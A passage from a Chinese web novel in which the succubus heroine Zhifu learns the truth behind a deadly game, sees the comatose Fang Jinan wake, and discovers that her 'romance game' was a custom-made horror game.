我才意识到自己进入了一场什么样的游戏。 当时01号的身边已经有了一些人, 大多是女孩子,在这个游戏里活下来的人不多。加入她们之后,我们曾在地下活动, 互通有无, 互相传授在游戏里活下来的经验——其中有一条就是,不要相信任何游戏里的‘人’。” 之芙抿唇, 总觉得这句话意味深长。 有些滑稽的是, 跟他们相反, 之芙几乎是相信游戏里的每一个人——但她活下来了。 轮椅的轮子咕噜噜地滚过光滑的地面, 发出细微的响动, 在寂静的走廊里异常清晰。 “这样来看,01号救了你。”之芙不由得发问,“可是你……一直只用01号来称呼她。我还不知道她叫什么名字呢。” 白飞烟短促地笑了一下, 之芙很难形容他笑容背后的情绪:“这是我们的规矩。她叫01, 我叫02, 还有03、04…… 我们人类的说法是, 如果你记住了一个人名字,他就会对你产生意义。 可是游戏里的人那么多, 人人都要离开,今天她走了,明天我死去, 这么多的名字,怎么记得过来?” “可是你问我想不想知道你的名字。”之芙说。 “因为我已经知道了你的名字。”白飞烟说,他仰着头看向之芙,夕阳的最后一抹余晖落在他的脸上,把他琥珀色的瞳孔映得清澈而透明,他的瞳孔里也映照出一个小小的之芙,固执地看着她,仿佛已经这样注视着她很久很久。 “你已经对我产生意义了。”他轻声说着,却把每一个字都咬在了齿关。但这一句话都,他又飞快地转移话题,像是一只鸥鸟轻飘飘地掠过水面,溅起点点涟漪,他却已经飞远了。“不仅是对我,对这里的所有人……在这里,你是唯一有名字的人。” 当他们一次又一次地听到她的名字的时候,当他们一次又一次地把目光投向她的时候……他们就已经紧密相连了。即使这只是单方面的,一厢情愿的。 但在这里,所有人都爱她。 白飞烟没在这个话题上停留太久。 “后来,我们组织逐渐壮大,能人异士变得更多,也被某些人注意到了。”白飞烟看向站在病房前的身姿笔挺的男人,示意之芙也看向他。 这个男人穿着医院保安的制服,面容却刚毅又严肃,浑身上下带着一种不容侵犯凛然的气质——换句话来说,一看就不是普通保安。 倒不如说……比起保安,他看起来更像一个军人。 脑海中纷乱的线索逐渐串联,从精神病院改成的玩家住所,密不透风的防卫,异常严格的安保措施,还有那栋伪装成普通游戏公司的大楼。 这些都不是普通人能做到的事情。 “我不知道他们用了什么手段,或许是一些交易吧,一些……小特权?方寄南总是这么说。”白飞烟说,“总之,我们手上有了一批名单,这些名单上的人……都是被游戏选中,即将进入游戏的人。” 模糊的真相逐渐浮出水面,之芙注意到了自己熟悉的名字,她敏锐的意识到,方寄南将在这个真相里扮演令人震惊的角色,串联起全部的真相。 “我们尝试了很多办法来拯救这些人,提前训练,预测剧本,甚至插手游戏……对,就像是你所拥有的系统那样。 我们尝试在游戏中提醒他们……当时只能做到这种地步了。 但……死亡率还是很高。初次游戏的存活率不到百分之二十,我们提供了比小组织时期更加严密和系统的保护,但死亡率甚至大大升高了。 直到方寄南提出—— 如果提前告知反而造成死亡率的上升,那么……隐瞒呢?” 之芙忽然意识到了什么,问道:“所以——就是我?” 被游戏选中的人是她,被方寄南选中的人也是她。 所以,方寄南才找上门来,提出要跟她合作,测试他们的“新游戏”。 这本质上其实是在保护她,但之芙仍然感到啼笑皆非。 白飞烟耸耸肩:“我支持你给他一拳,哦,也可以多给几拳,朝脸打最好。” “你看不惯他?” “很难有人能看惯他那张读作淡定写作装逼的脸。”白飞烟说。 之芙想了想,其实她对方寄南的印象倒是挺好的——在记忆里,他应该是个温柔、体贴并且善解人意的合作对象。但现在,想到方寄南所做的那些事,之芙也很难不对白飞烟所说的话感到赞同。 “我会的。”之芙说,“但真的要打脸吗?他长得还挺好看的。” 之芙很难对长得漂亮温柔的人下手,就像人不会一拳锤在一块好吃的牛排上。 谁知道她这句无心的话一出,白飞烟却骤然抬头,皱着眉有点不可思议地说:“你喜欢他?” “喜欢他的脸。”之芙说。她又没真的跟方寄南相处过,很难喜欢他吧?喜欢脸倒是真的……美丽是客观的,无可挑剔的。 “那我也挺好看的。”白飞烟立刻说,一边说,他还一边朝着之芙眨眼。 “不过呢……你现在的想法可能要落空了。”白飞烟带着之芙往走廊的更深处走,他们走过一间又一间的“病房”,透过门上的玻璃,之芙能看到门里的人。有些门里是空着的,但更多的门里都有一个模糊的身影。或是躺在病床上生命垂危,或是包扎着伤口在房间里休息。 而越往里走,就越能明显地意识到,越是深处的人伤得越重。 “你现在是打不到他了……他在里面,最里面的病房。” “他快死了。” 第138章 间章 ”我一直在等你。“ ……快死了? 什么意思? 有一瞬间, 之芙还以为自己听错了。 她知道人类是很脆弱的生物,如果要类比魅魔,他们短暂的生命对于魅魔而言, 就像是人类养的小宠物一样。 她知道人类总是很容易死掉,但…… 当意识到这个前一周才见过的人, 活生生地, 会说话会笑的人类,现在却即将死去,她还是会感到猝不及防。 死亡意味着什么呢?意味着这个脆弱的人类不会再笑, 不会再有温热的心跳和体温, 也不会再见面了…… 之芙一时恍然。 “发生了什么?”之芙追问,“我听说他在公司里昏迷, 被救护车带走了……没有人知道他的下落。” “唔……”白飞烟沉吟片刻, “这是一个很漫长的故事。” “长话短说。”之芙说。 此刻他们停在了最深处的病房前, 一扇大门隔开了内外两边截然不同的空间, 一侧的安静悠闲的, 不时有人在走廊间步履匆匆地穿梭,自他们身旁走过的脚步声像是昭示着这一侧代表人间。 而另一侧——另一侧静谧无声,只有仪器无声地嗡鸣着, 屋内一片惨白, 唯一的色彩只有躺在床上的那个男人。 方寄南双眼微阖, 双手乖巧地像是小学生一样端端正正地放在身体两侧, 雪白的被子盖过他的肩膀。他表情安详得仿佛只是陷入了一场美好的梦境,但身上却缠满了连接着医疗仪器的黑色管子, 像是一根根来自死神的绳索,拖着他往死亡的深渊坠落。 这一幕实在是很新奇,一向游刃有余的男人此刻却一反常态地展现出他脆弱易碎的一面, 静静地躺在那里,仿佛等待公主拯救的王子。 但之芙却“咦”了一声。 “怎么?” 之芙紧紧地皱着眉:“……我好像见过。” “见过方寄南?”这不是废话么。 “不,我的意思是……我好像见过他这个样子。”之芙的瞳孔紧紧地盯着躺在病床上的男人,双眉紧皱,“换个说法,我觉得……这一幕,好熟悉。” 可不是熟悉吗?几个小时之前还见过的,在游戏里。 之芙终于意识到她在游戏里时,从裴钰身上感觉到的若隐若现的熟悉感是从哪里来的了。躺在那里,露出脆弱的表情,仿佛熟睡般安详…… 这不就是裴钰吗?! 之芙立刻明白了什么。 “你们让人类进入游戏?” “人类?”白飞烟有些惊讶于她的用词,但他没有过多纠结,“这也是方寄南最喜欢说的,‘一个小特权’。” “这是害死人的特权还是……” “这是救人的特权。”白飞烟说。“你觉得他很熟悉,是因为你在游戏里见过他吗?” “……”之芙久久地凝视着一门之隔的,躺在病床上那个脆弱苍白如琉璃的男人。 “见过。”之芙顿了几秒,补充说,“不止一次。裴钰和夕同简,都是他,对吧?” 她的话语是问句,但语气却是肯定的。 这样就可以解释,那些游戏角色身上莫名的熟悉感是从哪里来的了。 所以,是方寄南救了她,在《大卸八块》那部游戏里——这样就可以解释这部游戏莫名其妙结束的结局了。 “我还是赞同你给他一拳。”白飞烟幽幽地说,“虽然他救了你,但他也骗了你。功不抵过,对吧?” 之芙也短促地冲他笑了一下:“我会的。” 不是报复,这个傲慢的男人值得这一拳。 “那我还是期待一下他活下来吧。”白飞烟耸耸肩,有点恶劣地笑起来,“我还是更喜欢看你教训野男人这种剧情。” “方寄南情况危急吗?”之芙挑眉,听白飞烟的语气,倒也不像是他之前说的那么严重…… “唔。这个嘛……”白飞烟思考了一会儿,“说危急也不危急,说不危急嘛……你听过一个理论吗,薛定谔的猫。” 之芙听说过这个理论,大意是说将一只猫和一个放射源放在盒子里,如果放射源产生裂变,探测器就会放出毒药来杀死猫——当人们打开盒子时,猫要么活着,要么死亡,没有中间选项。 但如果不打开盒子,猫就将出于活着与死亡的叠加态,没有人能猜到盒子里的猫是何等状态。 “自从那场叫做《大卸八块》的游戏失败之后,方寄南就陷入了昏迷,他的身上没有任何外伤,生理机能依然保持良好,但大脑失去了大部分功能,他的意识、行为和反应能力都已经消失了。 他现在就是那只盒子里的猫,或许明天就将死去,又或许明天就会醒来。 而你,之芙——你就是打开盒子的那个人。” “我?”之芙不知道自己能做什么,该做什么,“要我做什么?” “该做的你都已经做了。”白飞烟说,“在上一个游戏里,他救了你,迷失在了游戏的世界里,然后你也救了他,让他离开了游戏世界。” 之芙想起上一部游戏里的裴钰——他本来已经死亡,却被她重新唤醒,回到人间。 还……学会了打游戏。 “我一直在等你,等你来到这里。”白飞烟忽然没头没尾地说,“从你在游戏里,对着系统说‘总有一天你会找到这个游戏的真相’开始……我就知道,总有一天,你会来到这里。” “好在,你没有让我等太久。” “要来看看吗?看看这只被你亲手打开的盒子里的猫……他到底能不能死而复生。” 几乎就在他话音落在地上的瞬间,一门之隔的门内,连接在裴钰身上的仪器忽然发出尖锐的警报声! “滴滴!滴滴滴!!!” 刺耳的警报声不断回荡在空旷的走廊中,下一秒,几个医生和护士从外侧的办公室里冲出来,飞快地奔进了病房里! 之芙下意识想要跟上去,却被一个护士拦住了:“急救中!家属在外面等待!” “不用拦她。”白飞烟转动轮椅上前一步,“她是游戏玩家。” 护士看了白飞烟一眼——显然她也认识这位02号玩家。于是什么都没有说,默许了之芙走向门内的步伐。 第139章 间章 大门被从内关上了。隔着门上的探…… 大门被从内关上了。隔着门上的探视窗, 能看到里面护士和医生们在有条不紊地检查仪器和方寄南的身体状态。 身旁的白飞烟做了一个“请”的动作。 之芙的手掌推上大门,感受到了从掌心里传来的,冰冷而干燥的触感。 一墙之隔, 期待已久的真相正在冰冷的墙的另一边等着她。 她深呼吸,就要推开大门的一瞬间, 福至心灵般在脑海中冒出一个疑惑来: 司苍和那个奇怪的“维修工”还没有出现。他们在这个游戏里扮演着什么样的角色? 之芙相信白飞烟没有说谎——她没有在他的身上闻到谎言的气息。而且他看起来很真诚, 大概是说了自己知道的。 看来02号玩家也不是什么都知道。至少,关于这个游戏更深沉的内容和秘密,他大概比之芙还懵懂。 之芙想了想, 打开手机。 【妈妈, 我哥回家了吗?】 司妈妈的消息回得很快:【他还在加班呢,小宝怎么了?】 【没什么。】之芙回复, 【妈妈, 哥回家了跟我说一声。】 【怎么了?你们闹矛盾了?】司妈妈的回复更快了, 几乎是秒回, 看得出她很着急, 因为平日里她的两个孩子都是井水不犯河水,之芙从来没有主动提起过要找司苍。 【没有,我有事找他。——对了, 是很重要的事情!妈妈不能跟他通风报信!】 【好好好, 知道了。】司妈妈回复, 【我给你当小间谍, 等你哥回家就给你通风报信,怎么样?】 【谢谢妈妈!】之芙关掉手机, 正要推开门,忽然眼角余光里看到有人正在走向这扇门。 ……好熟悉的两个人。 之芙眯起眼睛,看向那边。那两道熟悉的身影越走越近, 他们脚步匆匆,似乎还在低头聊着什么,片刻后似有所感地抬起头—— 之芙眼疾手快地一把推住白飞烟的轮椅,背对着他们,淡定地走进了方寄南隔壁的病房。 白飞烟:? 他一脸茫然。但是倒也没有拒绝之芙推着他走,只用眼神表达了自己的疑惑。 但之芙却没来得及顾得上他。她把白飞烟推进屋里,就趴在门边上,透过门缝看向门外。 果然……司苍不是加班,而是来处理有关这个游戏的事情了。但司苍和那个奇怪的“维修工”这个时候到这里来干什么?难道他们也是来看方寄南的? 随着他们的步伐越来越近,之芙也隐约听到了他们交谈的声音: “之芙她现在是什么……” “对……她很好……” “不好的人是方寄南……他……” “不是说只要……就能救……” 脚步停在了门前。之芙背过身去,把耳朵凑到门前,仔细地听着他们的对话。 “她尽力了。”这句话是司苍说的。“我们谁都不能预言这件事只要做了就一定能成,我们都做完了自己该做的。” “……”那个奇怪的‘维修工’站在门前,久久地沉默着。半晌,他低低地说了一声,“我知道。” 司苍按了按他的肩膀。奇异地,他表现得比之前忧心忡忡的样子看起来好多了,至少有一些松快。 “谋事在人成事在天,如果不能救所有人,只要能救下一个,那也算是幸运了。” “维修工”看了他一眼:“你倒是比之前看开了不少。” “接受自己的无能也是一种进步。”司苍冷静地说,“你我都不是神,救不了所有人。” “更何况,之芙她只是一个普通女孩。是不是她在这个游戏里表现得太轻松了,以至于让你们忘了这个游戏到底有多残酷?难道你们以为她是无所不能的神明吗?” 夕阳彻底沉入城市的另一头,黑暗如同藤蔓一般攀爬上医院的每一个角落。大门前惨白的灯光落在他们的脸上,把他们的脸色映照得愈发惨白。 司苍的话语也显得愈发冷酷。 “你们欺骗了她,却希望她拯救你们。” “01也带过人进游戏……”‘维修工’有些底气不足地反驳,“她也……” 之芙正听得转移,忽然感觉到身后有人扯了扯她的衣角。 “?”她回过头去,只见白飞烟坐在她的身后,伸出两只手指,小心翼翼地拉了拉她的衣服。 因为坐姿,他显得矮一节。就这样从下到上地看过来的角度,显得他的眼睛又大又湿润,像是湿漉漉的小狗在控诉主人无视自己。 他做口型:用完就丢呀?真把我忘了? 之芙还真愣了一下——白飞烟的轮椅简直是个再好用不过的掩人耳目的大号工具,很多时候真的会把坐在轮椅上的人给忘掉。 她轻轻咳嗽一声以示歉意,又比了一个“嘘”的手势:抱歉。 白飞烟虽然不明白她在做什么,但倒是很配合她,他继续做口型:外面两个人你认识吗? 之芙点点头,隔着窗户,指着门外的司苍说:一个是我哥哥。 白飞烟挑眉,面露诧异:那是‘疗养院计划’的投资商。 之芙:“……”好吧,她现在知道司苍很有钱了。 白飞烟若有所思地接着说:我听说投资商的家人也被拉进了游戏,说方寄南找到他说服他投资的。 她现在也知道司苍为什么投资这个游戏了—— 另一个人呢?你也认识?白飞烟用眼神询问她。 他是……呃,他是我家的维修工。之芙说。 白飞烟:“……咳咳咳!!!”他疯狂地咳嗽起来。 幸好外面的人没有在意一墙之隔的咳嗽声,白飞烟用手捂着嘴,过了一会儿,才问:你、你说什么? 我不知道啊。之芙一摊手说,我申报游戏仓出现bug,这个人就跑来我家修游戏仓来了。 白飞烟:“……” 他顿了顿,用一种复杂的眼神说:他是‘疗养院计划’的总负责人。 好吧。之芙说,不管他是什么东西的负责人,反正是我的维修工。 她透过门缝继续往外看,看到司苍和‘维修工’又说了几句话,司苍独自推开门走进了房间。 ‘维修工’表情平静地站在门前,但看他的眼前,却似乎有些茫然。 大概是被司苍怼得说不出话了,她这便宜哥哥嘴巴毒得很。 之芙正饶有兴趣地看着那位‘维修工’复杂的表情,忽然她感觉到,有人从身后拉了拉她的衣摆。 “……?” 她再次回头,只见白飞烟拉着她的衣角,依然是那个自下往上的角度,依然是那个湿漉漉的眼神。 他犹豫了一下,轻声开口: “你……跟他们都很熟悉吗?” 之芙还没说话,白飞烟又轻轻抿唇:“我说得没错,这里的所有人……都喜欢你。” 第140章 间章 人醒了! 之芙哼哼了两声, 转过头又去看门缝里的人:“那当然了。” 身后男人的声音里带上了一点笑意:“你还是这样。” 之芙忙着面前门缝里的人呢:“哪样?” “就是,跟在游戏里的一样。”白飞烟说,“我第一次见到你的时候, 你就这样,对着系统侃侃而谈, 扬言游戏里的所有角色都该喜欢你。” 他总是隔着屏幕观察她, 是仰望的但也是遥远的,直到此刻,他才终于有了屏幕里的人降临在自己身边的真实感。 之芙没觉得自己说得有什么不对, 她盯着门缝看了一会儿, 只见那个奇怪的‘维修工’也走进了门里。 “他们来看方寄南,是跟他很熟吗?” “算是吧。”白飞烟乖乖地把自己所知的都告诉之芙, “他们都是‘疗养院计划’的负责人, 方寄南是最早发现我们这些玩家群体的人, 是他把我们组织在了一起, 然后又去联系了你说的那个……呃, 那个维修工,他算是政府那边的人吧。再然后就是你哥……司苍。是方寄南说服他投资这个项目的。” 之芙没想到方寄南还有这一重身份,原本以为他只是这个普通的游戏公司里的普通的策划, 现在来看他应该是最了解这些东西的人。“方寄南也是玩家吗?他是怎么发现你们的?” “嗯……他有个朋友是游戏玩家, 他大概是从朋友那边接触到我们的。不过我也不是很清楚, 一般是01在负责这些事。” “朋友?他的这个朋友……” 之芙正想再追问, 却见白飞烟面色平淡地接话:“编号是011,他已经死了。” 之芙又是一怔。不仅是为了这个游戏的死亡率, 更是为这白飞烟平淡的语气,他提起一个人的消逝,就像是说起“今天天气很好”一样平静而又自然, 丝毫不回避。 她一时不知道该怎么接话,干巴巴地转移话题道:“那、那你很厉害吧,你的编号比他早很多,你应该也经历过很多游戏吧?” “进得越多死得越快。”白飞烟轻描淡写地说,他的目光往下,落在了自己的腿上。 之芙倒是看不出他的腿有什么问题,两只笔直的大长腿裹在裤子里,上面盖着一张柔软的毯子,看不出缺失或是伤口,是受伤了吗? 白飞烟看出了她的疑惑:“是在上个游戏里受伤的。走不了路,下一次游戏我必死无疑。” 说这句话的时候,他的语气也很淡,听不出什么恐惧或担忧,看起来已经看淡生死了。 注意到之芙的表情,他也只是微微一笑,伸了个懒腰慢慢把轮椅往前推:“死亡是无法避免的,我们这种人,就像等待明天的太阳一样等待它的到来就好了。” 之芙似懂非懂。死亡对于一个魅魔来说还太遥远,她存在于世间的岁月远比这些人类要多得多。 不过,她心里浮现出一个想法来。 她跟着白飞烟走出门,再一次路过方寄南的大门,偷偷从门外往门里望去,偌大的病房内挤满了人,医生和护士们的白大褂惨白得让人心里发慌。 但从她的角度还是看到了方寄南躺在病床上的模样。 他看起来没有要醒的意思,脸颊苍白又消瘦。司苍和那个奇怪的维修工站在他的身边,垂着眼,似乎在和医生商量着什么。 白飞烟看了一眼屋里的人,转着轮椅往走廊的另一头走:“要往里看看吗?这里说不定还有其他你认识的人。” 之芙却下意识站定在了大门的门前:“没有了。”她喃喃道,“其实我就认识这些人。” “怎么了?”白飞烟转身——好吧,是转过轮椅,有些疑惑地看着她,“你想知道什么,我可以带你了解一下这里。” 之芙道:“我想知道的,已经全部了解了。” 白飞烟似有所感地动了动唇,但没说什么。 之芙冲他笑了一下,俏皮地眨眨眼:“你说——如果我现在像这样……他们会不会被吓一跳?” 白飞烟也跟着笑了起来,似乎想到了那有趣的画面:“我想会吧。如果是我的话,不止会被吓一跳,说不定还会被吓得魂飞魄散。” 之芙也跟着想象了一下——司苍那张冷酷的脸上露出惊掉下巴一样的表情。 她掏出手机,给司妈妈发了一条消息:【妈妈,不用等了,我找到哥了。】 发完,也没有管那头的回复,她双手撑上大门,往里一推—— 大门发出了“轰隆”一声响,像是被轰然洞开的魔法门,又像是舞台上轰然拉开的帷幕,故事的主角在帷幕后洞悉了一切,此刻终于到了她闪亮登场的时候—— 之芙推开门,双手叉腰,站在门前。 她身后的白飞烟用手遮住嘴,轻轻地笑。 她的身前,医生护士们面面相觑,还是曾经给她做过检查的医生在怔愣之下率先喊出了她的名字:“……之芙?” 之芙看向站在一旁的两人——先是司苍。 出人意料的是,他并没有露出某种惊掉下巴的滑稽表情,而是维持着一种茫然,一种如坠梦中的怔愣,就好像脸上变成了一片空白,又像是高速运行的机器突然被泼上一瓢水,整个死机掉了。 “哥。”之芙假模假样地冲他笑了笑,又挥挥手上的手机,“妈妈说你在加班,你怎么也在这里?” 司苍无力地张了张嘴,没说出话来。 之芙又看向站在司苍身边的那个“维修工”,也冲他笑了一下:“这位维修工,你怎么也站在这里?” “维修工”的表情先不提,他身边那群医生和护士的表情可比司苍精彩多了,他们的脸色白白绿绿,像是被打翻的颜料盘,嘴唇张了又关,看看他们的总负责人,又看看之芙,最后都变成了一模一样的问号表情,憋出一句:“你……你……?” “维修工”的表情一开始很震惊,但很快像是想明白了什么。 之芙“哼”了一声,挥了挥拳头,正待问罪,身侧的身体仪器监控的忽然发出了尖锐的鸣叫! “滴——!滴滴——!!” 医生护士们同时一怔,然后最近的一个医生扑上前去,看了一眼仪器就大喊:“有、有意识了!” “恢复意识了!” “人醒了!!!” 140-150 第141章 间章 “把你们知道的事情,都跟我说说…… 之芙一怔, 下意识往旁边看去,正巧对上一双蒙着雾气,缓缓睁开的眼睛。 “醒了!真的醒了!” 身边爆发出一声欢呼, 医生和护士们像是滚入油锅的一滴水似地炸了锅,拉仪器的拉仪器、做检查的做检查, 还有人一把扯过一旁的呼吸面罩, 扣在方寄南的脸上。 “……呼……” “呼……” 呼吸的声音在吵闹的房间里却显得很清醒。随着他的呼气,氧气面罩上蒸腾起白色的水雾,但水汽很快又随着吸气消失。 方寄南刚刚醒来, 眼神还有些虚焦, 带着蒙蒙的水汽,却准确地穿透周围的所有人, 看向她。 之芙与他对视了几秒, 只见他的意识逐渐清晰, 伸出手往她的方向挥舞几下, 似乎想要抓住什么。 “别动!别动别动, 来,跟着我深呼吸,呼气——”护士手忙脚乱地把他按了下去。 方寄南摇摇头示意对方自己没事, 但紧张的护士却不管那些, 一把就按过他的手, 塞进被子里。 方寄南面露无奈。 “我们先出去再说, 别在这里干扰医生们。”司苍看了他一眼,主动走过来拦住之芙, 想把她往外带。在连续的两次震惊之后他很快找回了冷静,只是还有些无措,“你是怎么找到这里的?” 之芙回头看了看方寄南, 感觉这个人一时半会儿还不会死,能醒过来,想来就是没什么问题了。她决定先跟司苍出去,再好好审问对方。 “等等……等等!”方寄南的声音隔着呼吸面罩,十分模糊地从身后传来,还伴随着沉重的呼吸声和咳嗽声。 之芙有些迟疑地转过身去。 方寄南的声音嘶哑异常,像是断断续续的旧磁带,又像是没有上油的琴弦,沙哑得如同半辈子都没说过话似的。 不顾医护们的制止,他伸出手,拼命地伸向之芙的方向。 “怎么了?方寄南,你还好吗?” 他看起来很虚弱,脸色堪称惨白,甚至比医院洁白的墙壁还要再白上一度。他示意护士摘下面罩,护士看了一眼监控仪器,他已经等不及地自己伸手摘掉了面罩。 他的嘴唇干裂起皮,泛着病态的青白色,咳嗽了好几声才说:“我还好……咳咳!咳咳……之芙……” 他看起来实在是太脆弱了。呼吸轻得像是易碎的琉璃,喘气的声音却大得可怕,苍白的脸色更显出他的眼睫漆黑,像是鸦羽一般不堪重负地翕动着。 他伸出一只手来,想拉住之芙。那只手也几近透明,带着过度的消瘦和苍白。 那只手如此可怜,又是一个重病刚醒之人,于情于理似乎都该伸手去接一下。 但之芙—— 之芙把手往身后一背,“哼”了一声,没接那只手。 气氛凝固了,屋内的所有人都感受到了一瞬间的窒息。 方寄南愣了愣,大梦初醒的他似乎也意识到了什么,那只手无力地垂了下去。 他舔了舔干燥的嘴唇,似乎想说什么,刚从嘴里发出一个气音,之芙噔噔噔走上来,一只手捧住他的手。 方寄南:? 他有点喜出望外,从病床上半坐起来,惊喜地看着之芙。 然而之芙看也不看他,一只手捧住他的手,另一只手握成拳,在方寄南疑惑的瞪大的双眼里,猛地往下一拳—— “嗷!!!” 整个楼层都被他的惨叫惊动了。甚至让人很难想象一个垂死的病人能发出这样惊天动地的声音来。 之芙甩了甩手说:“这是第一拳。看在你还在病床上的份上,先不打你,等你好了再说。” 方寄南呲牙咧嘴地,先是错愕,然后又笑出了声。他这样一笑,脸色终于有了一些红润的意思,不再显得那么苍白了。 被之芙揍过一拳的手肿了起来,他也没有在意,小心翼翼又缠缠绵绵地用指尖勾之芙的指尖。 一边看着她的脸色一边小心翼翼地说:“所以……之芙愿意原谅我吗?” 之芙“呵呵”他一脸:“看情况。” 方寄南立刻老实了,花招也不敢耍,乖乖地说:“对不起。” 之芙一抿唇,她倒也不是真的想把方寄南怎么样,好歹对方还救过自己,还是因为救自己才差点死了。于是问医生:“他怎么样?” “看数据来说都挺好的……”医生挠挠头,大概也有点不明白方寄南为什么忽然醒了——但对于这个游戏来说,让人想明白的东西多了去了,“但是还得好好修养,躺在床上太久,肌肉会有点萎缩,病人有些虚弱。不过好在这个时间不算长,问题不大。只要坚持锻炼一段时间就好了。” 之芙又转头看向方寄南。 方寄南大概是意识到了什么,唉了一声:“医生,我感觉我还是很虚弱……” 医生摆摆手:“躺太久了亏精力气血,积极运动,好好吃饭,可以适当吃点补的……” 方寄南“咳咳”了两声,虚弱地说:“我觉得我还要躺一躺,好好地养病……” 他虽然是对医生说的,但说话时眼睛一直看着之芙。 好像在说:我现在太虚弱了,不要跟病人计较好不好? 医生交代完医嘱,给方寄南加了一个心跳和血氧监护就走了,病房里一下走了七八个人,顿时空旷了不少。 之芙一转头,刚目送医生护士离开,再一转头,只见司苍和“维修工”已经老老实实地站在病床边,朝她伸出手,意思是随便她揍。 白飞烟手攥成拳抵在嘴边憋笑,方寄南看看天看看地,一幅“我很虚弱不要跟我计较”的表情。 之芙:“……” 这群人也知道自己欠揍。 她没好气地走回床边,刚想拉开椅子坐下,身边的人已经非常殷勤地给她拉了椅子。 之芙往那儿一坐,没好气地哼了一声,说:“交代吧。” “把你们知道的事情,都跟我说说。” 司苍抿着唇,犹豫了一下:“之芙……” “别骗我。”之芙立刻斩钉截铁地打断他,“我知道的比你们想象中要多。” 第142章 间章 “如果不知道做什么的话,就听我…… 一切的始末, 跟白飞烟讲述的差不多。 但方寄南知道得更多。 没有人知道这个游戏是什么时候出现在人们之间的。他们对于这个游戏最早的了解,都来自于01号玩家,比起01和02这些进入游戏的玩家来说, 方寄南了解这个游戏的方式显得非常不同。 ——他是被自己的朋友带进这个游戏里的。 更准确来说,是他主动要求的。在那场游戏中, 他以特殊的方式进入游戏, 成为了游戏里的一个NPC,他觉得自己像是在游戏里经历了完整的一生,但醒来后, 比起“游戏里的经历”或是“前世今生”这种说法, 他觉得更像是经历了一场梦。 在那场游戏里他不是玩家,不是游戏里的鬼怪Boss, 只是作为一个普通路人经历了一场诡异的冒险, 而且非常幸运地活了下来。 醒了之后, 他对这个游戏就更加着迷, 几乎是到了痴迷的地步——他开始研究这个游戏的来源, 是什么人做出了这个游戏,难道是异世界的神明吗?还是…… 总之,比起其他人, 他是以一个局外人的视角来了解这个游戏的。 在其他人还在游戏中苦苦挣扎, 为死生存亡疲于奔命的时候, 方寄南就已经开始思考这个游戏的未来在哪里了。他认为像白飞烟他们这样单打独斗, 总有一天所有人都会死在游戏里,于是开始为他们的组织扩圈, 并且认为只要把所有的玩家收集起来,就能得到这个游戏的数据和规律。 只要有规律,就能分析和破解。 01支持了方寄南的计划, 她也认同方寄南的想法。只是,作为游戏玩家,她不得不把大量的时间花在游戏当中,让方寄南来主持这些琐事。 在这期间,“维修工”和他背后的政府组织加入了他们,这是方寄南和01早就计划好的,毕竟如此恐怖的游戏不可能不在政府的掌控之中,而他们也能通过对方获得更加稳定的住所、医疗和研究团队。 这一切最终的成果就是之芙看到的“疗养院计划”——他们得到了更多游戏玩家的信息,更好的医疗条件,游戏玩家们也不必害怕自己被当成精神病,任何一个在网络或是现实世界提到这个游戏的玩家,都会被系统检测到,并且第一时间接到疗养院来。 在疗养院里,他们有一套完善的系统,告知玩家游戏的真相,培养玩家的身体素质和心理素质,分享更多的游戏案例,互相交流生存经验。 到了后来,他们逐渐发现了玩家在进入游戏前的一些异常规律——例如无缘由地晕倒、昏迷,莫名其妙的倒霉,遭遇车祸或是各种莫名其妙的攻击。 然后他们发现了之芙——这个被死亡游戏盯上的倒霉蛋。 按照流程,他们应该立刻把之芙接到疗养院,并对她进行一系列的培训,但巧合的是,之芙的哥哥和方寄南是好友,这就为方寄南的一个设想留下了讨论的余地。 之芙所经历的,就是一场为她量身定做的游戏。 至于方寄南是怎么说服司苍的……因为正常进入游戏的存活率太低了。 这就像是一个治疗方案的生存率低,这时候医生让家属考虑另一个方案。 “因为我们都相信,你和其他人不一样。” “不一样?”之芙有些奇怪地反问,“那里不一样?我觉得我跟你们人——我觉得我跟你们没什么不一样的地方。” 开玩笑吧?她可是魅魔学院优秀毕业生,伪装异生物这门课可是满分毕业的! 在伪装人类这件事上,她觉得自己已经比很多人类更像个“正常人类”了。 谁知道司苍轻轻咳嗽了一声,弱声说:“从天而降的黑户……哪里不特殊了?” 之芙:“……” 好吧,忘了这茬。她不是从魅魔学院正经毕业的学生,没有学院给的户口,不仅是黑户,还是司苍眼里从天而降拯救他的女神,当然普通不了。 “而且……你给我的感觉也跟其他人不一样。你更加的……” “更加的什么?”之芙追问。 但司苍却只是皱着眉,似乎连他也很难形容那种感觉:“……那只是一种感觉。” “所以你们给我量身定做了一个恋爱游戏?还怪……”之芙哽了一下,真不知道该说这群人是怪了解她,还是说这群人怪贴心的。 谁知这句话一出口,房间里所有人都用一种诡异的目光看向她。 “?”之芙莫名其妙,“看我干什么。” 司苍用手抵住唇,咳嗽了一声。方寄南再次看看天看看地,就是不说话。 最后,还是“维修工”说:“其实……那不是恋爱游戏。” “啊?” “……那是恐怖游戏。” 之芙:“……” “我们就算再怎么心大,也不至于把这个死亡游戏包装成恋爱游戏,最开始的计划就是做一个恐怖游戏,这样你也不至于太放松警惕,但也不会太过害怕,谁知道……” 谁知道,就算是恐怖游戏,之芙也能玩成恋爱游戏。 之芙也卡了一下:“……谁叫你们来对接的时候不说清楚!背调不做的吗,不知道我是乙女游戏的主播吗?!” 方寄南立刻滑跪:“对不起。” 紧接着司苍和“维修工”也:“对不起。” 他们道歉得太干脆利落,之芙反而噎了一下,最后只能摆摆手:“算了,也怪我没有问清楚。” 再说了,就算问清楚了……之芙对着少数玩过的几个恐怖游戏里的英俊漂亮的NPC发表过的一些痴汉言论,觉得自己其实也很可能把恐怖游戏玩成乙女游戏…… 嗯……该怎么说呢,谁叫那些游戏里的角色真的很有魅力!谁没有想象过跟游戏或是电视里的人谈恋爱呢?人之常情罢了! 该知道的都知道的差不多了,之芙伸了个懒腰,问: “所以……你们接下来准备做什么?” “……”几个男人面面相觑。 果然,自己打了他们一个措手不及。之芙朝司苍挑衅一笑:“你看,我说了,你不告诉我的,我总有办法知道。” 司苍一怔。 “如果不知道做什么的话,就听我的。”之芙眨了眨眼睛。“我有一个想法。” 第143章 间章 “如果你这样要拒绝我的话,也别…… 夜幕降临, 笼罩了这栋孤零零的疗养院。 “就按之芙说的做吧。” “这里早就准备好了属于你的屋子,如果你愿意的话,明天就能住进来……当然, 毕竟这里是医院,进出可能不太方便……你不愿意也没有关系, 我们可以提供□□。” “……□□?” 之芙挑着眉, 看向站在一旁的方寄南。他还显得很虚弱,走路时有些摇摇晃晃,却无论如何也不要人扶, 坚持把之芙和司苍送到了停车场里。 停车场里亮着惨白的灯光, 